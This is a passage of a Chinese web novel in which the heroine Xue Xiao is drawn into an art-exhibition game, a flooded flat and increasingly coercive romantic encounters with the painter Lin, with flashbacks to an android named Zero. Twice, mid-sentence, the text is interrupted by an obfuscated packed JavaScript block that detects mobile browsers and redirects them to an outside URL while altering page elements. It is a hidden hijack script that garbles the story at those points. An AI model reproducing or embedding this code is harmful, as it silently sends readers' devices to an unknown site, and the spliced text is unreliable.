但薛晓还是要矜持一下,她问:“现在吗?” 矜持不了一点。 凛的那辆酷炫的白色大G换了内饰。上一次坐他的车时,车内的座椅还是那种低调内敛的深灰色,而这次变成了热情似火的红色。不管怎么变,都是她不敢刮花的价格。 薛晓兴致勃勃地拉开车后门,然而一个巨大的画架竟然塞满了整个座椅,严严实实,没有一丁点留给她的空隙。 “这是画室需要的工具。”凛为她拉开副驾驶的车门。 “咖啡刺激肠胃,要来一杯蜂蜜水吗。”凛一边说着,一边熟练地调试设备,很快就造了一杯温热的蜂蜜水。 薛晓下意识接了过来,双手感受着杯子传来的温暖。车子启动,她想系上安全带,手都勒红了竟然拉不动! 凛伸出手臂,侧身越过薛晓,说:“这是为了防止后座用安全带当勒带,所以特意设计了别扣。我帮你。” 薛晓尴尬笑笑。改装车果然高级,这都考虑到了。 凛的身体微微俯下,他的胸膛几乎贴近了薛晓的肩膀,她能清晰地感受到他身上微凉的寒气和规律的心跳声。 薛晓的脸庞瞬间变得滚烫,她不敢抬头看凛,只是盯着自己手上的蜂蜜水。甜蜜,温暖,浅黄。 凛的手指在薛晓的身侧灵活地操作着。他的动作小心翼翼,尽量避免过多的触碰,可即便如此,两人之间的距离依然近得能交换彼此的气息。 安全带抽出来了。 “谢谢你。”薛晓声如蚊呐。 凛几乎是正面俯视着她,这个距离想做什么都可以。他静静看着薛晓,嘴角不自觉扬起,说:“不客气。” 凛的朋友租用了科技博物馆的场地。凛去帮忙了,薛晓自己一个人闲逛。 博物馆的主题是“生命之河”,建筑线条流畅自然,内部墙壁采用了金属质感的板材,经过特殊处理,呈现出一种微微的磨砂质感。 这座科技博物馆是前世纪人们畅想未来的产物,后来返修过几次,效果不佳,现在基本已经荒废了。 科技风格讲究简单高效,建筑的动线规划明晰。薛晓很轻松就找到了画展场地。 薛晓对艺术没什么造诣,只能看个热闹。哪里有讲解老师,她就蹭到哪里。 画展的主题是“旧念”,大部分作品都是前世纪的风格。有描绘山水,也有勾画人物,有抽象派风格,也有超现实主义。 薛晓一幅幅看过去,没什么感触。 与其沉湎过去,不如规划未来。虽然她的未来一眼能望到头,但起码她有未来。 未来,是一种信仰。 画展的中心,是着一副黑漆漆白灿灿的画。 “这是我市著名艺术家凛先生的新作!作品名为,婚礼!”讲解老师高昂的声音在展厅回荡。 “这次凛先生没有采用以往的星空主题,而是呈现出了一个独特的幻境。画面中的圣女穿着一尘不染的白衣,跪地祈祷。天神被她的诚意感动,特意降下圣光庇护。圣女沐浴在这圣光之中,成为神明在人间的化身。” “再看这幅画的背景,圣光庇护之外,是地狱中的恶鬼,妄图侵犯圣女的威严。凛先生灵活运用他最喜欢的暗色调,加深这种神秘、压抑又带着一丝希望的氛围。” “这幅作品不仅仅是一幅简单的画作,它饱含着凛先生先生对生命、信仰以及人性的深刻思考!它让我们看到了艺术的深度和力量,也让我们感受到了凛先生先生在艺术创作上的大胆创新和不懈追求!” 这么牛叉的吗……薛晓抽了抽嘴角。她昨天差点藏进女厕所。 “太震撼了,圣女的虔诚和天神的慈悲展现得淋漓尽致,让人感受到信仰的力量。” “不太懂,感觉就是在刻意营造一种神圣的感觉,有点做作。” “没觉得有啥特别的,不就是前世纪常见的宗教题材。” “为森林发声!画画不能使用木头!” “画笔王者,艺术之神!凛凛七永远支持你,永远爱你!” 薛晓:“…………” 薛晓站在人群外,远远看着那副名为“婚礼”的画。 灰白,草地,骷髅,圣光,朦胧的画面在脑海里浮现。 珊珊出事那天,她见到了凛。 那是一场奇怪的梦,有妈妈,有店长和珊珊,有很多很多人。她还一枪崩了自己的手指。 好在,那只是一场梦。坏在,这只是一场梦,她没有任何正当理由去指责任何人。 如果那是她的梦,发生的一切都只是她的臆想罢了。 “这幅画还有一个关联艺术套件。”讲解老师操控按钮,中央台子升起一个金属小盒。盒子是电子机械控制,随着台子升起缓缓剥离开启。众人屏气凝神地等待着。 盒子里是一枚镶嵌着硕大蓝宝石的戒指。 讲解老师激情介绍:“这枚戒指是凛先生的私藏。戒指的设计独特而精巧,每一处细节都是凛先生亲自把关,与这幅画共同构成了一个完整的艺术!” 薛晓定睛一看,那——么大一颗蓝宝石,她绝不会认错,就是梦里她戴上的那一款! 人群窃窃私语。 “强推,凛是什么分量大家都懂,他的画作周边直接无脑入。” “挖掘钻石会毁坏森林,打磨出来又要……我们要抵制!” “看不懂。画叫婚礼,请问这是求婚戒指吗?” “凛之笔触,绘梦星河!” 薛晓;“…………”好吵。 讲解老师:“凛先生为大家准备了一个小游戏。只要能有人能通关,就能拿走这枚戒指!” “戒指预估价格为——”讲解老师伸出五根手指。 “五百万!”有人大喊。 五百万?!薛晓的眼睛嗡的一下亮了。 讲解老师:“真品有市无价,仿品仅限此一枚,市场价格为五万五卡币!” 薛晓蹭的一下站起来了!月薪三千不吃不喝攒一年都没有五万五!凛的热度那么高,只要后续不再复刻,就能升值海景大平层! 讲解老师为大家发模型手机,说:“小游戏以电子形式呈现,复刻了前世纪一款非常著名的单机小游戏,拥有着大量的忠实玩家和极高的人气。” 薛晓最爱玩小游戏了。她小时候就是村里的小游戏霸主,无论是羊了个羊,还是合成大西瓜,无论是开心消消乐,还是疯狂拆螺丝,她都是最高记录保持者。 “希望大家能获得愉悦体验。”讲解老师说。 薛晓打开手机,屏幕里只有一个圆形的软件标识。 游戏名称:玩个锤子。 薛晓:? 讲解老师:“只要能到达山顶,就可以获得价值五万五卡币的限量版戒指一枚!” 屏幕中是一个坐在大缸中的光头,薛晓需控制光头手中的锤子,让光头不断向上爬。 游戏的目标是操控角色抵达山顶,稍有不慎就会掉落回原点,一切只能重新来过。 有二十四位观展者加入了挑战。 “什么破游戏啊!又掉下去了,一百米白爬了!这是人玩的吗?” “这操作也太反人类了。我打排位轻轻松松,一定是游戏的问题!” “我就不信邪了,今天非得过去不可!再掉下去我就把手机吃了!” “绿化带这坡到底怎么上啊,谁来救救我,我要在这卡一辈子了。” 不到二十分钟的时间,骂骂咧咧走了一半人。过了十分钟,又疯疯癫癫走了一半人。 人来人往,人去人归。薛晓专注地玩着。 她攀爬、跳跃,翻越高山、巨石,穿过雪地、森林,爬上灯塔、建筑。 草地、灌木、密林,沙漠、岩石、沼泽,茅屋、高楼、信号塔,高原、冰川、天空,白云、晚霞、黑夜,星系、星云、宇宙……分子原子质子中子电子…… 等一下,给她干哪来了。 屏幕中有一个显示高度的数字。数字平静地跳动着,薛晓已经来到几万米的高空。 爬到山顶就结束了。山顶在哪里? 一定是因为她爬的不够高,走的不够远,经历的不够多…… 薛晓爬呀爬,不知道爬了多久,恍然间一抬头,这里竟然只剩了她和另一位大叔。大叔也在专注地攀爬。 讲解老师把两人的手机屏幕投到大屏上,所有人都屏息看着他们。越来越高,越来越难,越来越惊心动魄。一个小小的失误,就会引起一片惊呼。 大叔始终领先薛晓一百米的距离。 一百米,谁也说不准。薛晓一刻不敢松懈。她仿佛开了全知视角,仿佛那个拿锤子的人是她,她在努力的攀升。 讲解老师接了一个电话,随后对大家说:“由于系统bug,本游戏将在10秒后停止,数值最高者将获得奖励!” “十、九、八……” 忽然,展厅的灯闪了两下。 大叔手一抖,竟然掉下去二百米! 现在领先的是薛晓!最后的赢家是薛晓!五万五是她的了! 讲解老师的电话又说了什么,她挂断电话,隆重宣布:“凛先生感谢大家的支持,他会自费为每一个粉丝都准备一份戒指仿品作为纪念品!” 薛晓:! 海景房变成老草窝了! 她的坚持,有什么意义! 薛晓一愣,手一松,屏幕里的光头就掉了下去。 她感觉自己玩了一个世纪的游戏,可一看表,时间刚刚过去了30分钟而已。 她仿佛经历一场无间的时间回溯,现在又回到了原点。 就像在宇宙中滑行的光头,一不小心又掉到了地平线。 薛晓:“……” 这玩意有什么好回档的啊!!! 最终,大叔赢得了胜利。 戒指交到他手上,薛晓一点也不羡慕。 本来产品周边的受众群体就是粉丝。现在人手一份,需求减少,低价贱卖也没人收,除非是喜欢吃复数的富婆。但富婆最多只有20根指头。 “薛小姐,等等!”有人喊。 薛晓回头,是赢得奖品的大叔。大叔脸颊清瘦,微微下垂的眼角带着一丝苦相。 他递给薛晓一张名片,上面写着姓名“袁中意”,新市第三人民医院。 “薛小姐怎么玩到一半就摆烂了。”袁中意说,“不像你的风格。” 好生硬的客套方式,薛晓的嘴角僵硬笑了笑,说:“你很熟悉我吗?” 袁中意嬉皮笑脸,“我常听我师姐提起你,她说你是一个很厉害的人。哦,我师姐姓守。” “不认识。”薛晓转身就走。 “薛小姐!” 忽然,薛晓的手腕一凉,只听咔咔两声,她的双手被一个银手铐拷住了! “薛小姐,你被逮捕了。”袁中意收起了那副不正经的模样,严肃地压住薛晓的手腕。 薛晓震惊,大庭广众之下竟然当街诬陷!她猛地回身,飞起一脚狠狠踹向袁中意,没注意到身后的惊呼和脚步声。 忽然,她的背后附上一个温凉的气息,如同毒蛇一样缠上她的脖颈,“我的小西西弗斯,饿了吗?”凛温柔而有磁性的声音在她耳边响起。 薛晓被他突然的声音吓了一跳,瞬间惊醒。她四下望去,刚刚还在面前的袁中意竟然不知所踪,就像凭空消失了一样。她再看自己的手腕,没有任何手铐的痕迹。 “中餐厅怎么样。”凛弯着腰,贴在她的耳边,薛晓一转头就能与他肌肤相亲。 “不是甜品店吗?”薛晓悄悄推离一点。她确实有点饿了,下意识跟着凛的思维走,没有在意凛之前的用词。 凛笑着,“不着急……” 刚刚发生了什么?薛晓想不通。算了,事已至此,先吃饭吧。 宫保鸡丁、糖醋里脊、麻婆豆腐、鱼香肉丝……经典永流传,薛晓边哭边吃,真是太美味了!吃惯了九块九的僵尸预制菜,偶尔来一顿有机健康的大厨风味,简直就是老破小里装核弹,降维打击!呜呜好想变成一只老鼠在后厨垃圾桶里偷吃。 “我是这家店的会员。”凛拿出一张VIP金卡,“如果你可以发挥它的最大价值,我愿意将它转让给你。” “谢谢你,不用了。”薛晓说。就算是用了会员的优惠,这里的有机菜品也是她一个无业游民负担不起的水平。 凛撑着下巴,说:“高级会员每周都可以试吃新菜品,免费邮寄到家。” “这多么不好意思…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864679|157571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”薛晓有些心动。但一次两次还好,次次都白嫖有些怪难为情的。 凛想了一会,认真地对薛晓说:“工作室的同事都出差了,我可以聘请你为临时助理吗?” “如果你愿意,我去联系工作室法务帮你拟一份合同。工作期间路费餐费报销。” 薛晓“啪”的一下把那张闪着黑金色的VIP卡攥住了,握住凛的手连连道谢,“凛,你真是个大好人!” 凛垂眸,眼神隔空摩挲薛晓触碰过的地方。他喉结微微滚动,低声讪笑两声。 “荣幸至极。” —— 薛晓在甜品店躺了两个小时。 凛半路接了个电话,又去忙了。他走的时候脸色不太好看,可能是有什么要紧事吧。 今天甜品店的客人很少,薛晓本想用门票蹭一顿就走,结果莫名其妙抽奖中了一个豪华套餐,被簇拥到一个僻静的小包间。非常适合睡觉。 就在薛晓迷迷糊糊快要睡着的时候,砰的一声,门突然被人粗暴地撞开,一个带着一身寒气的男人闯了进来。薛晓吓得一个弹跳起身,抓起手边的花瓶就要抡过去。 “你不能跟他走!”来者大喊。 “你干什么?!吓死老娘了!”薛晓说。 来者竟然是袁中意。他半天不见,看起来好像老了十岁,头上隐隐有了白丝。 “你……跟我走……”袁中意喘得跟蒸汽炉的破风箱一样。虽然薛晓只在科普短视频里听过这个的声音。 薛晓掂了掂手中的花瓶,问:“我凭什么要跟你走?把话说清楚!” 袁中意双手撑着膝盖,努力平复着呼吸,嘴里嘟囔着:“可恶…给我…出去十里地……”,过了好一会,他才站起身,“薛小姐,你最近是否有很多困扰,比如有奇怪的人缠着你……” “没有。”薛晓说。除了贫穷。 “呃——”袁中意突然他像被什么东西哽住了,脸瞬间憋得通红。 “来不及解释了——咳咳,这是我的名片,你会需要我的!我是义体医生——” 袁中意摔门而出。 房间里陷入了短暂的安静,薛晓的目光缓缓落在地板上的那张简白色名片。 袁中意,新市第三人民医院,义体研究所副主任,杰出青年代表。 电话:132…… 薛晓犹豫着蹲下,伸出手,最终将那张名片拾起,攥在手心里。 名片在她手心凭空消失了。 门再次打开,凛出现在了门口。他面无表情地看着屋内的陈列,眉宇间的烦躁几乎溢出,好像房间里有不干净的东西。 当他的目光落到薛晓身上时,瞬间换了一副模样。笑眼弯弯,温情似水。 “我们回家吧。”凛说。 —— 晚上。薛晓要疯了。 她的出租屋被水淹了。水顺着楼道往下淌,一直流到公寓大堂。 水管爆了。那根老旧的水管早就出现了问题,之前就时不时发出“嘎吱嘎吱”的怪异声响,每逢做饭热胀冷缩就会漏水。房东不管,薛晓也懒得修,没想到竟然造成了今天的后果。 薛晓打电话叫维修。 “您的号码已欠费,暂时无法呼出,请及时缴费——” 薛晓站在307和305之间,彷徨,无措。冰冷潮湿的水汽,令人心烦的炽灯杂声,她的头发被水打湿,凌乱地贴在脸上,丝丝凉意顺着脸颊往脖子里钻。 你能先借我一百块钱帮我充个话费吗。要这样说吗。他不会拒绝。凛借给她很多东西,不差这一点了。可是…… 薛晓默默看着自己12.03的余额。 今天在展厅扫充电宝花了四块钱。 充了话费她也付不起维修费用。 薛晓本想这个月退租,现在水管爆了,她不仅要赔偿房东的损失费,还要承担这栋公寓上下的维修费。薛晓是个穷光蛋,今夜过去,就是个负债累累的无赖了。 凛不知道什么时候打开的门,他手里拿着干燥温暖的毛巾,轻轻为薛晓擦拭头发上的水珠。 “外面冷,进屋说吧。”他说。 “我做了蔬菜沙拉,要来一点吗。”他问。 可惜薛晓现在没胃口,吃不下任何东西。 凛似乎早已料到,他没有多说什么,转身倒了一杯温热的金桔水,酸酸甜甜,带着新鲜草木的青柑味。 真奇怪凛哪里搞来的这么多新鲜果蔬。她一想到凛是个有钱人,这一切又变得合理起来。 墙角升起了炉火,薛晓躺在摇椅上,嘴里叼着吸管,慢慢地品尝着。 生活仿佛还是那么的美好。金桔水的清香充盈在口腔,炉火的温暖包裹着她的身体,薛晓微微闭上眼睛,享受着这片刻的宁静与祥和。 明天办贷款和追债的人应该就上门了。 凛正在调香。他修长的手指熟练地操作着工具,过一会儿,沉淀的木质香弥漫开来。源自太阳的光束透过茂密的枝叶,粗壮的树干散发着岁月沉淀的气息,他们穿梭在林中。露水打湿衣衫,浸湿鞋袜,他们赤脚行走在绿茵的草地上。 凛闭上眼,幽幽说道:“房东有义务保证出租的房子处于良好状态。像水管爆裂这种严重影响居住的问题,房东必须马上安排维修人员过来修,而且应当承担产生的费用。这是对租客最基本的权益保障。” 炉火在薛晓眼眸中跳跃,她说:“凛,现实一点……” 凛轻轻嗅闻空气中的香气,神色舒缓,他慢悠悠地说,“我已经联系维修队了,明天设计师就来绘制装修图纸。你今晚好好休息。” “好……哎?”薛晓猛的反应过来,她以为自己听错了,“凛,这是我自己的事情,和你没关系。” “当然有关系,那是我的房子。”凛一脸认真地说,不容置疑。 薛晓怎么也躺不住了。她匆忙坐直身子,可摇椅还在惯性作用中摇晃不止。她就像一个失控的不倒翁,左摇右晃,晕头转向,下不去上不来。 凛抄起她的手臂,把她扶起来。薛晓下身不稳,整个人被他带了过去。她双臂一拢,像是主动投怀求抱一般,缠上他的腰际。 坚硬,曲折,温凉。薛晓像是被烫到一般,猛地弹开,又躺回摇椅上。 “晓晓……” 凛低下身,两只手撑在薛晓上方,缓慢地将摇椅一点点往下。 橘红色的火光映照着他的脸庞。一半明艳,一半晦暗。 摇椅被压到最底,凛的脸庞却离薛晓越来越近,每一寸的靠近都带着某种刻意的控制。薛晓无处可逃,只能被迫迎上他那复杂而炽热的目光,她的心脏急速跳动,仿佛要从她的身体破壳而出仓皇逃离。 “你什么时候买的?”薛晓问。 “昨天。”凛说。 “买卖不破租赁!” “征用为临时助理办公室,免去房租。” 凛松开手,摇椅瞬间复位。出于维持平衡的本能反应,薛晓无意识地伸出双臂,搂住了凛的脖子。 唇齿相碰,位置卡得刚刚好。 摇椅再次被压下去。 薛晓:“……” 我,靠。 9. 第 9 章 水管维修师傅扛着扳手锤子电锯上楼。他们业务熟练,刚进屋就列出了费用清单。 “水管年份太久,已经被水锈堵死。公寓供水水压不稳定,导致水管爆裂……总之,我们帮您换一段全新的水管。” 薛晓家是个小套间。进门是鞋柜和一个简易的开放式厨房,中间活动空间狭小,两个维修师傅几乎占据了整个过道。 往里走,便是所谓的客厅。干瘪的沙发背对门口,曾经有人喜欢坐在这里,现在已经堆满了杂物。 客厅的另一边,一张不大的床占据了大部分空间。床上有一张9.9包邮的胡桃木色合成板小桌子,边缘微微磨损,是薛晓偶尔发愤图强的学习区域。 现在是晚上九点多,师傅敲敲打打,电锯切割水管的声音炸响。奇怪的是,竟然没有一个邻居出来指责她家的噪音,整栋楼平静得让人心慌。 薛晓在一片狼藉中收拾残局。床铺全部被浸湿,棉花吸水变得沉甸甸的。沙发上的衣服都泡了水,有的还在滴水珠,积起一小摊水渍。 薛晓纳闷,这个水管的威力怎么会如此巨大,整间屋子竟然无一幸免。就连她放在收纳盒的贴身衣物,居然也能攥出水来。 一件能穿的衣服都没给她留下。 窗户上布满了水珠,形成一道道蜿蜒的水流,模糊了窗外的世界。房间里弥漫着潮湿的水汽,粘腻地附着在墙壁、地面和家具上。 薛晓的棉拖湿透了,寒意顺着双腿攀爬而上,她忍不住打起了寒颤。 凛在帮忙收拾。因为刚刚摇椅上的失态,薛晓的心里还憋着一股气。即便全部维修费由凛承担,她此刻也不想搭理他。 然而,出租屋的空间狭小,他们还是会不可避免地碰到彼此。凛伸手去拿地上的一件浸湿的衣物,薛晓也正好弯腰去捡,两人的手碰到了一起,薛晓像触电般猛地缩回手。 凛却不以为意,拿起那件衣服,展开,问:“这是谁的衣服。” 薛晓扫了一眼,一把夺了回来,说:“当然是我的!” 凛不依不饶,“男朋友?” 这是一件黑色毛衣,毛衣的质感柔软又不失挺括。半高领口,肩膀的设计很宽,线条流畅,像是为身材高大的男士量身定制。 “你男朋友对你怎么样。”凛的目光紧紧盯着薛晓。 维修师傅将旧水管切开,水锈顺着管道流了出来,屋内充斥着潮湿的水锈味。昏黄的灯光在头顶闪烁,仿佛随时都会熄灭。 “你们同居了很长时间吗?”凛继续问。 房间里堆积的杂物在阴影中显得更加混乱。薛晓没注意到,凛的影子正在迅速向内蜷缩。 这件是零的衣服。料子太好了,薛晓一直没舍得丢掉。 零来的突然,最后凭空消失,招呼也不打一声。他大概“借住”她家一个星期?薛晓有些记不清了。 薛晓被凛的目光盯得有些不自在,别过头去,回避着他的视线。 “和你有什么关系。”她说。 水管长度不合适,师傅扛起电锯——刺耳的嗡鸣声在楼道里回响,一点一点将坚固的金属切割、分离。 “我就是想知道,他到底有什么好。”凛的脸色微微沉了沉。 “是分手了吗?”凛说:“他怎么没来帮你?” 薛晓随手把毛衣团了团丢进箱子里,“不用你操心。” 凛声音放更低了些,“我只是觉得,如果真有这么个人,这时候他应该在你身边……” 薛晓别过头去,一脸的不耐烦,“用不着你——” 凛不知什么时候来到薛晓的身后,他的胸膛贴着她的后背,双臂轻轻环绕在薛晓的腰间,将她圈在自己的怀中。 凛俯身贴近她的耳边,温凉的气息带着一丝暧昧的诱惑,说:“他会对你这样吗?” 水管维修师傅就在几步远的距离专注地工作,叮叮当当的工具碰撞声不绝于耳。 薛晓被双手反剪,被迫压倒在沙发上,她满脸羞愤,拼命挣扎着想踢凛。凛却不慌不忙,握住她的一只膝盖,慢慢地压下去。 凛眼中闪烁着久违的兴奋,“就在这个沙发上,对吗?” —— 便宜,美观,不易死。 这是薛晓对零的评价。 零不爱说话,不需要吃喝,也不占地方。他就喜欢坐在薛晓家的沙发上当木桩,监视薛晓的一举一动。 他就像一个误入薛晓家的野兽,自愿成为薛晓小宠物。在外捕猎到食物,只需要一个亲亲奖励就可以无限蓄能。 零每次都会把薛晓的口水吃干净,像是有什么饥渴症一般。一旦开始了奖励,就不会停下。每次薛晓都要手脚并用推开他去喝两口水。 薛知道零很危险,但零似乎对“薛晓教授”有着独特的情感,那双蔚蓝色的眼睛看向她时总是充满了眷恋。 薛晓也不知道自己怎么就成为了一个怪物的挚爱。但这种被独特强大的未知存在深深迷恋着的感觉…… 为什么要拒绝呢? 薛晓有时会带着零一起出门散步。 刚进小广场,一位和蔼的大妈惊奇地看着零,忍不住说道:“哎呀,这是什么牌子的仿生人呀,从来没见过这么帅气的!一定花了不少钱吧!”说着,她就想伸手摸摸零。 零躲开了,他默默地看向薛晓,仿佛在询问是否可以与对方交流。薛晓微笑着对零点了点头,零这才允许大妈捏了自己的手臂一下。 几个年轻人围在长椅上聚餐,看到零后,好奇地围了过来。“这机械人太酷了!能和我们合个影吗?” 零依旧看向薛晓,等待着她的指示。 薛晓温和地说:“没关系的。”于是,零乖乖地配合着年轻人拍照。 一路上,不断有人为零感到惊奇,想要和零说话或者互动,而零始终会先看向薛晓,只有经过薛晓的同意,他才会和其他人接触。 薛晓心中既无奈,又暗爽。 她是“祂”唯一信赖的“主人”。 没有人能拒绝这个。 零温顺乖巧,回到家,能自己一个人乖乖呆好久。不拆家,不乱叫,是绝世好宝。前提是,薛晓不可以离开他的视线。 薛晓渐渐适应了上厕所的时候门上趴着个庞然大物。 薛晓也很想知道零的底线在哪里。她网购了宠物绳、口塞、皮鞭,他都不拒绝。但如果让凛蒙住眼睛自己一个人坐在沙发上,看不见摸不到薛晓,房间就会变得像冰窟一样寒冷。 这让薛晓很扫兴,总是玩到一半,就被迫过来哄哄他。不然她就冻死了。 零只会亲亲。如果继续下去他会有明显的宕机。每当亲吻逐渐热烈,薛晓拉过他的手想要干点坏坏的事情,他的动作就会迟缓,眼神也会变得迷离,整个系统陷入了混乱。 就像录入绿江文学数据的陪伴型恋爱机械人,只会进行脖子以上的暧昧动作。因为有关脖子以下的数据现存寥寥无几。没有强大的数据支持,机械人也无能为力。 于是,薛晓把自己珍藏的绝世好资源,都掏了出来。 然而,这个呆头居、然、学、不、会! 舌头那么灵敏,身体却不敏感。 零不知所措地坐在沙发上,那澄澈又纯粹的眼睛无辜又可怜。 薛晓莫名有一种教坏乖孩子的罪恶感。 “真是拿你没办法……” 既然这样,她就不客气了。 …… 零不敢动。教授的呼吸带着温热的气息分子,轻轻拂过他的脸庞。 一只膝盖抵在他的大腿上,教授的手指勾住他的衣领,领口微微敞开,胸前的肌肤暴露在空气中。 如果是正常人类,他的皮肤会被冰凉的空气刺激,立毛肌收缩形成一层被称作鸡皮疙瘩的皮肤纹理。可惜他还不会处理如此复杂的条件反射。 教授的皱眉肌和眼轮匝肌收缩,她似乎很开心。 很好看。 教授拿出一条柔软的黑布。她的手指轻轻摩挲着布面,像是在思量着什么。 上次教授用这条黑布蒙住了他的眼睛,他在黑暗中跌跌撞撞找了好久。他不喜欢这个感觉。 “教授……”零低声唤道,试图阻止教授即将进行的动作。 “不许说话。”教授一根手指抵在他的唇上。 “仔细感受。”教授说。 教授的手是乙酸乙酯和紫罗兰酮的味道。她总是舍不得给自己购置昂贵的护手霜,前几天网购了一瓶降价的矿物油,有毒,被他偷偷丢掉了。 黑布轻柔地覆盖在他的眼睛上。系紧的那一刻,教授的指甲轻轻划过他的耳后,瞬间,一股细微的电流感传遍零的全身。 零双手攥紧了座下的沙发垫。教授似乎察觉到了他的变化,轻笑一声,那低低的笑音在他耳边拐了个弯,让他的脊骨不由地紧张起来。 教授的手指沿着他的脖颈缓缓游走,慢慢向下,划过他的锁骨。细腻的指纹此刻如同粗粝的沙石摩擦在他的皮肤上,所到之处皆是一片酥麻。 零不知道教授会对他做什么,他眼前一片漆黑,只能任由这种陌生的感觉在自己的身体里肆意蔓延。 教授突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他手心的温度透过湿透的睡衣布料传来,像一块冰冷的寒铁,让薛晓不由地打了一个哆嗦。 “你换不换。”薛晓不想露怯,她闻到凛身上残留的木质香气。这是他亲手调制的香料。 凛突然压低身体,将她完全笼罩在自己的阴影里,冷笑一声,说道:“你总是这样。” “明明很害怕,却偏要逞强。” “我想要的东西很简单。”凛眼神向下拉了拉,说,“我想要,一个吻。” 薛晓:“…………” 就这?她还以为会是奴役人类、毁灭地球、统治全宇宙、复活木乃伊之类的呢!亲一下又不会掉块肉。 她飞快地在凛的嘴上碰了一下。 “我有三个条件,第一……唔!” 她的话还未说完,凛猛地扣住她的后颈,将她紧紧拥入怀中,深深攫住了她的唇。 湿冷的躯体紧紧贴在薛晓的身上,犹如寒冰的枷锁,无情地掠夺着她的体温。 凛的头发湿漉漉地耷拉着,水珠顺着发梢滑落,滴在她的脸颊上,带来一阵刺骨的冰凉。 薛晓感觉自己的呼吸都要被凛掠夺殆尽,她的双手本能地推拒着凛的胸膛,却不能阻止任何事情的发生。 周围的空气仿佛都凝结成了冰,凛的唇却带着滚烫的温度。在这冰冷与炽热交织的混乱中,薛晓的脑海中一片空白,所有的思绪都被凛的这个吻搅得支离破碎。 朦朦胧胧中,她好像记起,昨夜喝醉后自己好像遇见了身上这个人。她好像还跟一个陌生人发生了激烈的争吵。具体的内容已经记不清了,她只记得自己满脸通红,情绪激动,毫无顾忌地大声叫骂。 她好像……还杀了人? 凛越吻越深,薛晓想要挣扎,可身体却在这强烈的刺激下渐渐失去了力气,只能任由自己沉沦在这未知的漩涡之中—— 天已大亮,薄光透过纱帘斑驳地洒在房间里。薛晓猛地睁开眼,发现自己躺在温暖柔软的大床上,让她有一瞬间的恍惚。 就像昨天早上一样,她穿着自己的睡衣。除了头有点痛,嘴巴有点干,并没有什么太大变化。 脖子上均匀划过一道温凉的气息,薛晓猛地一惊。 只见凛的头埋在她的颈间,两只手臂慵懒地将她禁锢在怀中,就像在宣誓自己的归属。薛晓蛄蛹了两下都没能挣脱。 凛还在睡着,嘴角挂着一丝得逞的笑意。